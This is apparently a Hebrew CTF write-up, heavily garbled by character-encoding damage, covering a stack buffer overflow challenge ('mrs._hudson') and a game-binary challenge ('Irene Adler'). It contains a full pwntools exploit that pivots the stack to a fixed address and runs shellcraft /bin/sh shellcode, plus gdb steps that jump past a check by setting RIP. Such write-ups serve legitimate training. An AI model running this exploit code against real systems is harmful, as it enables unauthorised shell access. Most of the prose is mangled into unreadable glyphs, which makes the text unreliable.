˟ ˸˧ˮ˩˸ˢ ˸˞ ˥˸˲ˮ ˢˤˢ ˟˪˷˟-IDA  ˢ˧ˢ˧ˣ ,"˭ˣ˥˴˧ˮ ˸˧˧˴˵ˮˣ˲" ˭˧˞ ˫˰˲ˢ˷ ˢ˞˶ˮ ,˪˩ ˫ˡˣ˵ .ˢ˸ˣ˞ ˭˥˟ˮˣ

 ˠ˧˷ˢ˪ ˣˮ˧˪˰shell  ˸˧˧˴˵ˮˣ˲ˬ ˸˟˩˶ˣˬ ˸˧ˮ˩˸ˢ ˪˩ .˧˯˞˪˵ ˭˲ˣ˞˟main  ˢˤ ˢ˷ˣ˰ ˞˧ˢ˷ ˢˬ ˪˩˷ ,ˢ˦ˣ˷˲

 ˪˷ ˨˶ˣ˞˟ ,˸˧ˮ˯˥ˬˢ ˪˰ ˶˲˞˟ ˸ˣ˴˵ˢ˪0x70 ˪ ˸˞˶ˣ˵ˣ ,˫˧˸˟-scanf  ˭˧˧˴ˬˢ ˫˰%s ˢˮ˧ˣ˴ ˞˪˷ ˭ˣˣ˧˩ˬ .

 ˪˰ ˟˥ˣ˶ ˸˪˟ˠˢ%s ˰˴˟˪ ˣˮ˪ ˶˷˲˞˸ ˢ˧˴˵ˮˣ˲ˢ ,buffer overflow ˟-stack ˸˞ ˯ˣ˶ˡ˪ ˪˩ˣˮ ˨˩ˣ ,rbp x-

rip ˢ ˪˰ ˢ˦˧˪˷ ˠ˧˷ˢ˪ˣ ˫˧˶ˣˬ˷ˢ-flow  ˭˧˞˷ ˸ˣ˞˶˪ ˭˸˧ˮ ,˭˩ ˣˬ˩ .˸˧ˮ˩˸ˢ ˪˷stack canary. 
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 ˟ˣ˸˩˪ ˨˶˦˴ˮ ˫˞ ˦˧˪˥ˢ˪ ˸ˮˬ ˪˰ROP ˟ ˵˲˸˯ˢ˪ ˪˩ˣˮ˷ ˣ˞-shellcode  ˨˶ˡ ˞˴ˬˮˣ ˸˧ˮ˯˥ˬ˪ ˫ˣ˷˶ˮ˷

˟ ˫˥˪˧ˢ˪ ˨˶ˣ˴ ˷˧ ˫˞ˣ ,ˣ˧˪˞ ˳ˣ˲˵˪-ASLR ˸˥˸ ˸˧ˮ˩˸ˢ ˸˞ ˳˧˶ˮ ,gdb ˪˰ˣ˲ ˸ˣˮˠˢ ˣ˪˧˞ ˵ˣˡ˟ˮˣ ˸ˣ

 ˦˲˷ˬˢ ˨ˬ˯ ˪˰ ˵˧˯ˮ˷ ˣ˞) ˧˶˞ˮ˧˟˟ά[ŜǘΩǎ Ǝƻ ōŀŎƪ ǘƻ нлллΦέ:(ˢˡ˧ˬ ˢ˸ˣ˞˟ ˟˧ˮˠˬ ˞˪ ˢˤ ˪˟˞ , 

 

 ˭˧˞NX ˭˧˞ˣ ˸˧˶ˮ˩ ˭˧˞ ,ASLR ˫ˣ˪˥ ,J ˢ ˪˞ ˳ˣ˲˵˪ ˨˶ˡ ˞ˣ˴ˬ˪ ˢˤ ,˸ˣ˷˰˪ ˫˧˩˧˶˴ ˣˮ˥ˮ˞˷ ˢˬ ˪˩-

shellcode .ˣˮ˪˷ 

 ˪˴ˮ˪ ˶˸ˣ˧˟ ˸˧˯˞˪˵ˢ ˨˶ˡˢstack overflow  ˳˧˶ˢ˪ ˸ˮˬ ˪˰shellcode  ˪˷ ˢ˶ˤ˥ˢ ˸˟ˣ˸˩ ˸˞ ˯ˣ˶ˡ˪ ˞˧ˢ

 ˢˡˣ˵˲ˢ ˸ˬ˧˧˵ ˢ˟ ,ˢ˧˪˰ ˨ˬ˸˯ˢ˪ ˶˷˲˞˷ ˸˟ˣ˸˩˟ ˢ˧˴˵ˮˣ˲ˢάŎŀƭƭ ǊǎǇέ ˪˩ ˸˞ ˫ˣ˷˶˪ ˭˩ˬ ˶˥˞˪ ˶˷˧ˣ ,

-sshellcode  ,˶ˣˤ˥˸ ˢ˧˴˵ˮˣ˲ˢ˷ ˶˥˞˪ .˳ˣ˶˧˷ ˫˧˴ˣ˶ ˣˮ˞˷rsp ˢ ˸˧˷˞˶˪ ˰˧˟˴˧-shellcode  ˪˩ˣˮˣ ,ˣˮ˪˷

 ˣˮ˪ ˷˧˷ ˢ˞˶ˮ ˞˪ ˭ˣ˷˞˶ ˦˟ˬˬ ˭˞˩ .ˣ˸ˣ˞ ˳˧˶ˢ˪call rsp  ˨˶ˡ ˞ˣ˴ˬ˪ ˨˶˦˴ˮ˷ ˨˩ ,ˢˮ˧ˬ˞ ˸˟ˣ˸˩˟

ˢ ˸˞ ˪˴ˮ˪ ˶˸ˣ˧ ˦˰ˬ ˸ˬ˩˥ˣ˸ˬ-stack overflow .ˣˮ˪˷ 

˪ ˫ˣ˶ˠ˪ ˪˩ˣˮ ˫˞˷ ,ˣˮ˪ ˶ˣ˶˟-shellcode  ˟˸˩˧ˢ˪ ˣˮ˪˷˪ ˪˷ ˢ˶ˤ˥ˢ ˸˟ˣ˸˩ ˸˞ ˯ˣ˶ˡ˪ ˪˩ˣˮ ,ˢ˰ˣ˟˵ ˸˟ˣ˸˩

ˢ ˟˷ˣ˧ ˢ˟˷ ˸˟ˣ˸˩ˢ ˢ˧ˢ˸˷ ˨˩ ˢ˧˴˵ˮˣ˲ˢ-shellcode  ˰˴˟ˮ ˫˞˷ ,˞˧ˢ ˢ˧˰˟ˢ .ˣˮ˪˷buffer overflow 

ˢ ˪˷ ˸˟ˣ˸˩ˢ ˦ˣ˷˲-shellcode ˢ ˪˰ ˟˷ˣ˧ ˞ˣˢ˷ ˫ˣ˷ˬ ˢ˰ˣ˟˵ ˢ˧ˢ˸ ˞˪-stack ˫˧˪ˣ˩˧ ˣˮ˧˧ˢ ˫˞ ˢˬ .

ˢ ˸˞ ˳˧˶ˢ˪ ˪˩ˣˮ˷ ˧ˮ˲˪ ˢ˯˧˶˵˪ ˫ˣ˶ˠ˸ ˞˪ˣ ˢ˰ˣ˟˵ ˞˧ˢ˷ ,˸˶˥˞ ˸˟ˣ˸˩˪ ˟ˣ˸˩˪-shellcode ˷˲˥ˮ ?

 ˢˡˣ˵˲ˢ ˸˶ˤ˰˟ ,˫ˢ˧˪˞ ˢ˴˶ˢ + ˢ˟˧˸˩ ˸ˣ˞˷˶ˢ ˣˮ˪ ˷˧˷ ˭ˣ˶˩˧ˤ˟ ˫˧˶ˣˤ˞vmmap ˟-gdb  ˣ˪˞˩ ˫˧˶ˣˤ˞)

˟ ˫ˣˡ˞ ˰˟˴˟ ˣˮˬˣ˯˧-PEDA:( 
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 ˭˧˟˷ ˶ˣˤ˞ˢ0x601000 ˪-0x602000  ˸˟ˣ˸˩ ˸˞ ˯ˣ˶ˡ˪ ˪˩ˣˮ ˨˧˞ ˶ˣ˶˟ˣ ,ˣˮ˪˷ ˢ˶˦ˬ˪ ˫˪˷ˣˬ ˰ˬ˷ˮ

 ˢ˷ˡ˥ ˢ˪˞˷ ˢ˪ˣ˰ ,ˢ˸˰ .˶ˣˤ˞˪ ˳ˣ˲˵˪ ˸ˮˬ ˪˰ ˢ˶ˤ˥ˢ- ˢ ˸˞ ˟ˣ˸˩˪ ˪˩ˣˮ ˡ˴˧˩-shellcode  ˣˮ˪˷

?ˣˤˢ ˸˟ˣ˸˩˪ 

 ˢ˦˧˷ ˪˰ ˨ˬ˸˯ˬˣ ,˟˩˶ˣˬ ˞˪ ˭ˣ˶˸˲ˢ ˫˷˟stack pivoting -  ˷˞˶˪ ˰˧˟˴ˬˢ ˪˷ ˨˶˰ˢ ˸˞ ˯ˣ˶ˡˮ

ˢˬ .ˢ˧˴˦˧ˣ˪˲˯˵˞˟ ˣˮ˪ ˸˶ˤˣ˰˷ ˸˟ˣ˸˩˪ ˰˧˟˴˧˷ ˨˩ ˸˧ˮ˯˥ˬˢ-disassembly ˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮ-buffer 

ˬ ˪˥ˢ ,˸˧ˮ˯˥ˬˢ ˪˰ ˶ˡˠˣˬ-rbp-0x70 ˫˞ ˢˬ .rbp  ˸˟ˣ˸˩˪ ˰˧˟˴ˬ ˢ˧ˢ0x601070ˢ ,˨˩ ?-buffer  ˢ˧ˢ

ˬ ˪˥ˢ ˟˸˩ˮ-0x601000˞ ˵ˣ˧ˡ˟ ˢˤˣ ,ˢ ˸˞ ˫˵ˬ˪ ˫˧˴ˣ˶ ˣˮ˧˧ˢ˷ ˢ˲˧-shellcode  ˫˧˪ˣ˩˧ ˣˮ˧˧ˢ ˣ˪˧˞ .ˣˮ˪˷

ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸ˮ˧˰˦ˬ ˪˥ˢ ˪˧˥˸ˬ˷ ˡˣ˵ˢ ˰˦˵ ˸˞ ˟ˣ˷ ˳˧˶ˢ˪-buffer ˪-rax  ˦˪˵ˢ ˸˦˧˪˵˪ ˡ˰ˣ

˷ ˨˩ ,˷ˬ˸˷ˬˢˬ-rbp ˪ ˢˣˣ˷ ˢ˧ˢ˧-0x601070ˢ ˸˞ ˟ˣ˸˩˪ ˫˧˪ˣ˩˧ ˣˮ˧˧ˢ ,-shellcode  ˭˩ˬ ˶˥˞˪ˣ ,ˣˮ˪˷

˪ ˰˧˟˴˸˷ ˨˩ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˢ˶ˤ˥ˢ ˸˟ˣ˸˩ ˸˞ ˯ˣ˶ˡ˪-0x601000 ˢ ˸˴˶ˢ˪ ˫ˣ˶ˠ˪ˣ-shellcode .ˣˮ˪˷ 

 

:˸ˣ˦˷˲˟ ˧ˡ ?˸˞ˤ ˸ˣ˷˰˪ ˪˩ˣˮ ˨˧˞ 

1. ˢ ˸˞ ˞˪ˬˮ ,˪˩ ˫ˡˣ˵-buffer .˸˧ˮ˯˥ˬˢ ˪˰ ˢ˴˵ˣˬ˷ 

2. ˢ ˪˷ ˸˧ˮ˯˥ˬ˪ ˰˧˟˴ˬˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˯ˣ˶ˡˮ ,˭˩ˬ ˶˥˞˪-frame ˩ˢ ˸˞ ˣ˟ ˫ˣ˷˶ˮˣ ˫ˡˣ˵ˢ ˸˟ˣ˸

0x601070. 

3.  ˢ˧ˢ˸˷ ˨˩ ,ˢ˶ˤ˥ˢ ˸˟ˣ˸˩ ˸˞ ˫ˠ ˯ˣ˶ˡˮ0x40066f -  ˪˞ ˷ˬ˸˷ˬˢˬ ˦˪˵ ˫˧˦˪ˣ˵ ˢˮˬˬ˷ ˸˟ˣ˸˩ˢ

 ˨ˣ˸rbp-0x70 ˣ˟ ˭˧˞ˣ ˧˶˞ˮ˧˟ˢ ˨ˣ˸˟ ˞˴ˬˮ ˞˧ˢ˷ ˭ˣˣ˧˩ˬ ˣˤˢ ˸˟ˣ˸˩ˢ ˪˰ ˨ˬ˸˯ˢ˪ ˭˸˧ˮ .ASLR. 

4.  ˸˟ˣ˸˩ˢ ˪˞ ˶ˣˤ˥ˮ ,ˢ˸˰0x40066f ˪˷ ˸˟ˣ˸˩ˢ ˫˰˲ˢ ˨˞ ,rbp  ˢ˧ˢ˸0x601070ˢˣ ,-buffer  ˦˪˵˧˧

 ˸˟ˣ˸˩ˢ ˨ˣ˸ ˪˞0x601070. 

5. ˢ ˸˞ ˟ˣ˸˩ˮ-shellcode .˶˲˞˟ˢ ˪˩ ˸˞ ˞˪ˬ˧˷ ˨˩ ˡˣ˲˧˶ ˱˧˯ˣˮ ˭˩ˬ ˶˥˞˪ˣ ,ˣˮ˪˷ 

6. ˢ ˪˷ ˸˧ˮ˯˥ˬ˪ ˰˧˟˴ˬˢ ˪˞˩ ˢ˧˪˞ ˫˧˯˥˧˧˸ˬ˷ ˸˟ˣ˸˩ˢ ˸˞ ˯ˣ˶ˡˮ ,˭˩ˬ ˶˥˞˪-frame  ˸ˬˡˣ˵ˢ

.(ˢˮ˷ˬ ˸ˬ˞˟ ˞˪ ˢˤ) ˣˮ˸˶˧˥˟˪ ˧ˢ˷˪˩ ˸˟ˣ˸˩˟ 

7.  ˢ˧ˢ˸˷ ˨˩ ,ˢ˶ˤ˥ˢ ˸˟ˣ˸˩ ˸˞ ˯ˣ˶ˡˮ0x601000. 

8. s-shellcode  ˳ˣ˶˧ ˣˮ˪˷J 

 ˞ˣ˴ˬ˪ ˞ˣˢ ˣ˧˷˩˰ ˸ˣ˷˰˪ ˶˸ˣˮ˷ ˪˩shellcode  ˳˧˶ˬ˷/bin/sh ˟-64 ˢ ˸˞ ˟ˣ˸˩˪ˣ ,˦˧˟-exploit  .ˣˮ˪˷

˟ ,ˣˮ˶ˬ˞ ˶˟˩˷ ˧˲˩-pwntools  ˪ˣˡˣˬˢ ˫˧˧˵shellcraft ˪˷ ˶ˠ˞ˬ ˵˲˯ˬ˷ ,shellcodes  ˭ˣˣˠˬ˪

.˸ˣ˶ˣ˦˵˦˧˩˶˞ 
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ˢ ˸˞ ˫ˣ˷˶ˮˣ ˣ˟ ˶ˤ˰˧ˮ-exploit: 

from pwn import *  

 

context.update( arch ='amd64' )  

 

r = process( "./mrs._hudson" )  

r.recvuntil( "Let's go back to 2000." )  

 

# Stack pivot  

payload = 'A' * 0x70  

payload += p64( 0x601070 )  # rbp = 0x601000 + 0x70  

 

payload += p64( 0x40066f )  # ret address = right before passing rbp - 0x70 as 

target and invoking scanf  

 

r.sendline(payload)  

 

# Send & jump to shellcode  

payload = asm(shellcraft.sh())  

payload += ' \ x90 ' * ( 0x70 -  len (payload))  

payload += p64( 0x601070 )  

payload += p64( 0x601000 )  # ret address = shellcode addr ess  

 

r.sendline(payload)  

 

r.interactive()  

ˢ ˸˞ ˳˧˶ˮ-exploit :˪ˠˡˢ ˸˞ ˪˟˵ˮˣ 

 

 ˶ˠ˸˞ ˡˣ˰ ˣˮˬ˧˧˯J , ˢˮˣ˷ ˠˣ˯ˬ ˶ˠ˸˞˟ ˢ˯ˮ˸ˮ ,˞˟ˢ ˶ˠ˸˞˟-  ,˶˸ˣ˧ ˢ˟˶ˢ ˪˟˶ˣ˯ˬ ˢ˧ˢ˧ ˧˶˞ˮ˧˟ˢ

.ˢ˩ ˡ˰ ˣˮ˧˞˶˷ ˸ˣˮˣ˶˸˲ˢˬ ˸˧˸ˣ˰ˬ˷ˬ ˢˮˣ˷ ˢ˧ˢ˧ ˣ˪˷ ˭ˣ˶˸˲ˢˣ 
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Irene Adler 

 ˪˵ˣ˷ˣ ,ˣ˧ˬˡˣ˵ˬ ˢ˟˶ˢ˟ ˪ˣˡˠ ˢˤˢ ˧˶˞ˮ˧˟ˢ .˶ˠ˸˞ˢ ˸˞ ˳˧˶ˮˣ ˡ˧˶ˣˮ ,˪˧ˠ˶˩165kB ˩ ˸ˬˣ˰˪)-10kB  ˣ˪˵˷˷

 (ˣ˧ˬˡˣ˵-  ˣˮ˪ ˯˲ˡˣ˸ ,˶ˠ˸˞ˢ ˸˴˶ˢ ˸˰˟ .ˢˮ˟ˢ˪ ˶˸ˣ˧ ˢ˷˵ˣ ˶˸ˣ˧ ˢ˟˶ˢ ˟˩˶ˣˬ ˢ˧ˢ˧ ˫ˠ ˞ˣˢ˷ ˢ˞˶ˮ˩

 ˷˧˵ˢ˪ ˢ˰˴ˢάƘŜƭǇόύέ˷˧˵ˢ˪ ˣˮ˧˪˰ ˷ˡ˥ ˵˥˷ˬ ˪˥˸˞˪ ˸ˮˬ ˪˰˷ ˣˮ˪ ˶˟˯ˣ˧ ,˭˩ˬ ˶˥˞˪ . "g = 

Game.new() ˫˧˶˟ˡ ˧ˮ˷ ˣˮˡˬ˪ ˶˟˩ ˢ˩ ˡ˰ ."-  ˫˧˧˵ ˢ˞˶ˮˢ ˪˩˩ˣ ,˵˥˷ˬ˟ ˶˟ˣˡˬ˷ ˢ˞˶ˮ˩interpreter 

.˨˷ˬˢ˟ ˢˤ ˸˞ ˪˴ˮ˪ ˪˩ˣˮ ˧˪ˣ˞ .˳˶˷ ˡˣ˵˪ ˣˮ˪˷ ˦˪˵ˢ ˸˞ ˫ˠ˶˸ˬ˷ ˣˢ˷˪˩ 

 ˡˣ˞ˬ ˶ˤˣˬ ˭˲ˣ˞˟ ˪˟˵ˮ ,˸˧˪˞˵ˣ˪ ˵˥˷ˬˢ ˸˞ ˪˥˸˞˪ ˢ˯ˮˮ˷˩segmentation fault: 

 

ˢˤ˷ ˢ˞˶ˮ ˞˪ˣ ,˶ˤˣˬ ˡˣ˞ˬ  ˧˲˩ ˸˶ˡˠˣˬ ˞˪ ˣˮ˪˷ ˸˧ˬˣ˵ˬˢ ˢ˟˧˟˯ˢ˷ ˭˩˸˧ .˶ˠ˸˞ˢ ˧˥˸˲ˬ ˧"˰ ˭ˮ˩ˣ˸

˟ ˥˸˲ˮ ,ˢ˧˰˟ˢ ˢˬ ˭˧˟ˢ˪ ˸ˮˬ ˪˰ .ˢ˲˴ˬ ˧˶˞ˮ˧˟ˢ˷-IDA  ˸ˤˣ˶˥ˬˢ ˶˥˞ ˟ˣ˵˰ˮˣ ,˧˶˞ˮ˧˟ˢ ˸˞

άƛƴƛǘƛŀƭƛȊƛƴƎ ƎŀƳŜΧέ ˫˷˟ ˢ˧˴˵ˮˣ˲˪ ˣˮ˸ˣ˞ ˪˧˟ˣ˸ ˸ˤˣ˶˥ˬˢ .gameNew ˶˥˞˪˷ ,ˢ˞˶ˮ ˣˤˢ ˢ˧˴˵ˮˣ˲˟ ,

 ˪˷ ˢ˯˲ˡˢˢάLƴƛǘƛŀƭƛȊƛƴƎ ƎŀƳŜέ ˳˟ˣ˵ˢ ˸˞ ˥ˣ˸˲˪ ˢ˯ˮˬ ˧˶˞ˮ˧˟ˢ ,/home/luser/flag.txt  ˟˴ˬ˟

 ˠ˧˷ˢ˪ ˣˮ˧˪˰˷ ˪ˠˡˢ ˭˯˥ˣ˞ˬ ˸ˣ˧ˢ˪ ˶ˣˬ˞ ˢˤˢ ˳˟ˣ˵˟˷ˣ ,ˢ˧˰˟ˢ ˸˞ˤ˷ ˡˣ˞ˬ ˶˧˟˯ .ˣˮˬˬ ˞ˣ˶˵˪ˣ ,ˢ˞˧˶˵

 ˡˣ˵ ˸˴˶ˢ ˸˷˪ˣ˥˪ ˨˶ˣ˴ ˢ˧ˢ˧ ˞˪ ˢ˞˶ˮ˩ˣ ,˨˧˪ˢ˸ˢ ˭ˣ˶˩˧ˤ˟ ˞˴ˬˮ ˪ˠˡˢ˷ ˨˩ ˪˰ ˤˬˣ˶ ˫ˠ ˢˤ .˶ˠ˸˞˟

˪ˣ˥˪ ˵˶ ˞˪˞ ,ˢ˞˪ˬ ˪˷ ˭˩ˣ˸ˢ ˶ˬ˷ˮ ˢ˧˪˞ ˸˟ˣ˸˩ˢ ˪˷ ˨˶˰ˢ ˸˞ ˞ˣ˶˵˪ ˢ˧ˢ˧ ˭˸˧ˮ ˢ˸˶ˤ˰˟˷ ˢ˷

.(˪ˠˡˢ ˞ˣˢ˷) ˳˟ˣ˵ˢ 

 

 ˸ˬˣˡ˧˵˟ ˸ˣ˪˧˥˸ˬ˷ ˸ˣ˧˴˵ˮˣ˲˪ ˸ˣ˞˧˶˵ ˧˸˷ ˸ˣ˞˶˪ ˭˸˧ˮ ,˭˩ ˣˬ˩άƭǳŀέ -  ˣˮ˪˷ ˭˩ˣ˸ˢ ˧˪ˣ˞˷ ˨˩ ˪˰ ˤˬˣ˶

 ˸˲˷˟ ˡˣ˵˪ ˶ˬˣˬlua.˨˷ˬˢ˟ ˣˮ˪ ˟ˣ˷˥ ˸ˣ˧ˢ˪ ˪ˣ˩˧˷ ˦˶˲ ˢˤˣ , 
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˫ˣ˵ˬ˟ ˳˟ˣ˵ ˶ˣ˴˧ˮ˷ ˶˥˞˪  ˧˶˞ˮ˧˟ˢ ˸˞ ˟ˣ˷ ˳˧˶ˮ ,ˣˮ˪˷ ˪ˠˡ˩ ˷ˬ˷˧˷ ˣˢ˷˪˩ ˨˶˰ ˣ˟ ˫ˣ˷˶ˮˣ ˷˵ˣ˟ˬˢ

 ,ˢ˶˧˥˟ ˸ˣ˧ˣ˶˷˲˞ ˢ˟˶ˢ ˸˧˯˥˧ ˫˰ ˵˥˷ˬ˟ ˶˟ˣˡˬ˷ ˢ˞˶ˮ .ˢ˯˧˶˵ ˞˪˪ ˵˥˷ˬˢ ˸˞ ˪˥˸˞˪ ˪˩ˣˮ ˫˰˲ˢˣ

.ˢ˸ˣ˞ ˪˴ˮ˪ ˢ˷˵ ˶˸ˣ˧ ˣ˪˧˲˞ˣ ,ˢ˷˪ˣ˥ ˣ˟ ˞ˣ˴ˬ˪ ˢ˟˶ˢ˟ ˨˟ˣ˯ˬ ˢ˧ˢ˧˷ ˢ˞˶ˮ ˭ˣ˷˞˶ ˦˟ˬˬ ˭˩˪ˣ 

 

ˣ˵ˡ ˶˲˯ˬ ˣˮ˧˯ˮ˸ˢ˷ ˶˥˞˪:˵˥˷ˬˢ ˸˞ ˶˸˞ˮ .ˣ˪˷ ˸˧˯˧˯˟ ˢˮ˟ˢ ˪˟˵˪ ˭˸˧ˮ ,˵˥˷ˬ˟ ˸ 

¶  ˪˷ ˭ˣ˧˰˶ˢ .˫˧˟˩ˣ˩ ˭˧˟ ˢ˯˦˷ ˶˥˯ ˸ˮ˧˲˯˟ ˦˪ˣ˷ ˭˵˥˷ˢ ˣ˟ ,˶˥˯ˬ ˵˥˷ˬ˟ ˶˟ˣˡˬ ,˧˪˪˩ ˭˲ˣ˞˟

 ˦ˣ˷˲ ˞ˣˢ ˵˥˷ˬˢ-  ˟˩ˣ˩˟ ˪ˣˤ˟ ˢ˶ˣ˥˯ ˸ˣˮ˵˪˞ˣ˟  ˣ˟ ˟˩ˣ˩˟ ˶˵ˣ˧˟ ˢ˸ˣ˞ ˶ˣ˩ˬ˪ˣ ,ˢ˪ˣˤ ˢ˶ˣ˥˯ˢ

.˶˸ˣ˧ ˢˣˣ˷ ˢ˶ˣ˥˯ˢ 

¶  ˢˮ˧˲˯ ˫˰ ˪˧˥˸ˬ ˭˵˥˷ˢ ˫˰ˣ ˸˧˯˧˯˟20,000 .˱˯˩ 

¶ .˵˪ˡˣ ˸ˣ˲˯ˣˮ ˸ˣˮ˧˲˯ ˫ˠ ,˫ˢ˟ ˶ˣ˥˯˪ ˭˸˧ˮ˷ ˫˧˦˧˶˲ ˡ˟˪ˬ ,˸ˣˮ˵˪ ˭˸˧ˮ ˱˯˩ˢ ˫˰ 

¶ .˫˧˟˩ˣ˩ ˭˧˟ ˰˯ˬ˪ ˷ˬ˷ˬ ˵˪ˡˢ 

¶ :˫˧˞˟ˢ ˫˧˶˵ˬˢˬ ˡ˥˞˟ ˸ˣˬ˧ ˭˵˥˷ˢ .˸ˬ ˭˵˥˷ˢ ˶˷˞˩ ˶ˬˠˮ ˵˥˷ˬˢ 

o .˪˪˥ ˧ˡˡˣ˷ ˪˷ ˫˟˧˪ ˸ˬˣ˷˸ ˸˞ ˨˷ˬ 

o  ˣ˪ ˢ˧ˢ ˞˪ˣ ˫˧˟˩ˣ˩ ˭˧˟ ˰˯ˬ ˰˴ˬ˞˟ ˵˪ˡˢ ˣ˪ ˶ˬˠˮ.˧ˡ˧˧ˬ ˵˪ˡ ˧ˣ˪˧ˬ ˪˰ ˫˪˷˪ ˱˯˩ ˵˧˲˯ˬ 

 ˸ˣˬ˧˧˵ ˧˩ ˢ˞˶ˮ ,ˢ˷˧˩˶˪ ˸ˣ˧˶˷˲˞ˢ ˸ˣ˧˪˪˥ˢ ˸ˣˡˣ˞ ˰ˡ˧ˬˢ ˸˞ ˭˥˟ˮ ˶˷˞˩ :˶˟ˡ ˡˣ˰˪ ˟˪ ˫˧˷ˮ4 

 ˸ˣ˧˪˪˥-  ˢ˪ˣ˰˷ ˸˧˪˪˥ ,˸˧˸˪˥˸ˢˢ50,000  ˢ˪ˣ˰˷ ˸˧˪˪˥ ,˱˯˩20,000  ˶˲˯ˬ ˢ˪ˣ˰˷ ˸˧˪˪˥ˣ ˱˯˩

 ˢˬ˷˷ ,˟ˢˤ ˪˷ "˪ˣˠ˰" ˞˪ˣ ˡˣ˞ˬ ˪ˣˡˠάCƭŀƎ ǎƘƛǇέ ˫˷ . ˢˮ˧˲˯ˢ ˸ˠ˷ˢ˷ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ,˫˧ˡ˧˷˥ˬ ˶˧˥ˬˣ

.˪ˠˡˢ ˭˩ˣ˸ ˸˞ ˞ˣ˶˵˪ ˣˮ˪ ˶˷˲˞˸ ˣˤˢ 
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 (˸˧˵ˮ˰ ˸ˣ˪˰˟) ˪ˠˡ ˫ˠ ˸ˣˮ˵˪ ˭˸˧ˮ ˟˩ˣ˩ ˪˩ ˪˷ ˵ˣ˷˟ ,˭˩ ˣˬ˩- ?˷ˣ˩˶˪ ˣˮ˧˪˰ ˣ˸ˣ˞ ˧˪ˣ˞ 

 

 ˣˮ˪˷ ˸ˣˮˣ˧˰˶ˢ ˸˞ ˷˷˞˪ ˢ˯ˮˮ ,˪ˠˡˢ ˸ˮ˧˲˯/˪ˠˡˢ ˸˞ ˷ˣ˩˶˪ ˣˮ˪ ˶˷˲˞˸˷ ˢ˷˪ˣ˥ ˞ˣ˴ˬ˪ ˢ˯ˮˮ˷ ˧ˮ˲˪

 ˰ˡˮ˷ ˪˧˟˷˟ ˣˮ˧˪˰ ,˸ˣˮˣ˧˰˶ˢ ˸˞ ˷˷˞˪ ˸ˮˬ ˪˰ .˷ˡ˥ ˭ˣˣ˧˩ ˪˰ ˟ˣ˷˥˪ ˣˮ˧˪˰˷ ˣ˞ ˭ˣ˩ˮ ˣˮ˪˷ ˭ˣˣ˧˩ˢ ˫˞

 ˫˧˦˧˶˲ˢ ˸˞ ˷ˣ˩˶˪-  ˧˶˞ˮ˧˟˟ ˢ˲˧˞ ˢ˪ˠˮ ,ˣˤˢ ˢ˪˟ˠˢˢ ˸˞ ˱ˣ˵˰˪ ˪˧˟˷˟ !˱˯˩ ˵˧˲˯ˬ ˣˮ˪ ˭˧˞ ˪˟˞

˟ ˶ˤ˰˧ˮˣ ,˫˧ˣ˯ˬ ˦˧˶˲ ˸ˣˮ˵˪ ˫˧˪ˣ˩˧ ˣˮ˞ ˫˞ˢ ˪˷ ˢ˵˧ˡ˟ˢ ˸˰˴˟˸ˬ-gdb ˧˧ˢ ˢ˵˧ˡ˟ˢ ˪˰ ˠ˪ˡ˪ ˸ˮˬ ˪˰ ˶˷

-˪flow .˸˰˴˟˸ˬ ˢ˷˧˩˶ˢ ˣ˟ 

 ˦˪˵ˢ ˸˥˧˪˷ ˸˶ˤ˰˟ ˪ˠˡˢ ˸˞ ˷ˣ˩˶˪ ˢ˯ˮˮ ,ˢ˵˧ˡ˟ˢ ˸˞ ˞ˣ˴ˬ˪ ˪˧˟˷˟άƎΥōǳȅόлΣ мύέ  ˞˧ˢ ˸ˣ˰ˬ˷ˬˢ)

 ˸ˣˮ˵˪1  ˞ˣˢ ˣ˪˷ ˯˵ˡˮ˧˞ˢ˷ ˦˧˶˲ˢˬ0 -  ˞ˣˢ ˪˟˵˸˧˷ ˦˪˲ˢ .(˪ˠˡˢά.ǳȅƛƴƎ м ƻŦ ŦƭŀƎ\nToo 

ŜȄǇŜƴǎƛǾŜ ŦƻǊ ȅƻǳǊ ōƭƻƻŘέ ˸ˤˣ˶˥ˬˢ ˶˥˞ ˟ˣ˵˰ˮ .ά¢ƻƻ ŜȄǇŜƴǎƛǾŜ ŦƻǊ ȅƻǳǊ ōƭƻƻŘέ ˞˧ˢ˷ ˢ˞˶ˮˣ ,

 ˫˷˟ ˢ˧˴˵ˮˣ˲˪ ˢ˪˧˟ˣˬgameBuy ˧ˮ˷ˢˬ ˪ˣˡˠ ˞˪ ˡ˥˞ˢ ˫˞ˣ ,˫˧˩˶˰ ˧ˮ˷ ˭˧˟ ˢˣˣ˷ˬ˷ ˸ˣ˲˰˸˯ˢ˪ ˰˧ˠˮ .

˪ ˫˧˴˲ˣ˵ˣ ˪"ˮˢ ˸ˤˣ˶˥ˬˢ ˸˯˲ˡˣˬ-epilogue .ˢ˧˴˵ˮˣ˲ˢ ˪˷ 

 

 ˦ˣ˷˲ ˭ˣ˶˸˲ˢ-  ˫˧˷ˮbreakpoint ˪ ˳ˣ˲˵ˮˣ ,ˢ˞ˣˣ˷ˢˢ ˸ˡˣ˵˲ ˪˰-loc_402064 ˢ)-flow  ˪˧˟ˣˬ˷

˩˶˪ ˸˶ˤ˰˟ .(ˢ˷˧aslr  ˪˷PEDA  ˭˧˞˷ ˢ˪ˠˮASLR  ˸˟ˣ˸˩ˢ .˸ˣ˟ˣ˸˩ ˪˰ ˨ˬ˸˯ˢ˪ ˪˩ˣˮ ˭˩˪ˣ ˧˶˞ˮ˧˟ˢ ˪˰
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 ˞˧ˢ ˢ˞ˣˣ˷ˢˢ ˸ˡˣ˵˲ ˪˷0x40204d ˫˧˷ˮ .breakpoint :break *0x40204dˢ ˶˷˞˩ .-breakpoint  ,˳ˣ˲˵˧

 ˶ˠˣ˞ˢ ˪˷ ˨˶˰ˢ ˧ˣˮ˧˷ ˧ˡ˧ ˪˰ ˢ˞ˣˣ˷ˢˢ ˪˰ ˠ˪ˡˮRIP  :˳ˣ˲˵˪ ˫˧˴ˣ˶ ˣˮ˞ ˢ˧˪˞ ˸˟ˣ˸˩˪set $rip = 

0x402064 ˢ˧˴˵ˮˣ˲˪ ˞˶˵ˮˣ ,ˢ˷˧˩˶˟ ˭ˣ˪˷˧˩ ˸˰ˡˣˢ ˯˲ˡˣ˸ ˞˪ ,˭˩ˬ ˶˥˞˪ .˨˧˷ˬˢ˪ ˸˧ˮ˩˸˪ ˭˸˧ˮˣ ,

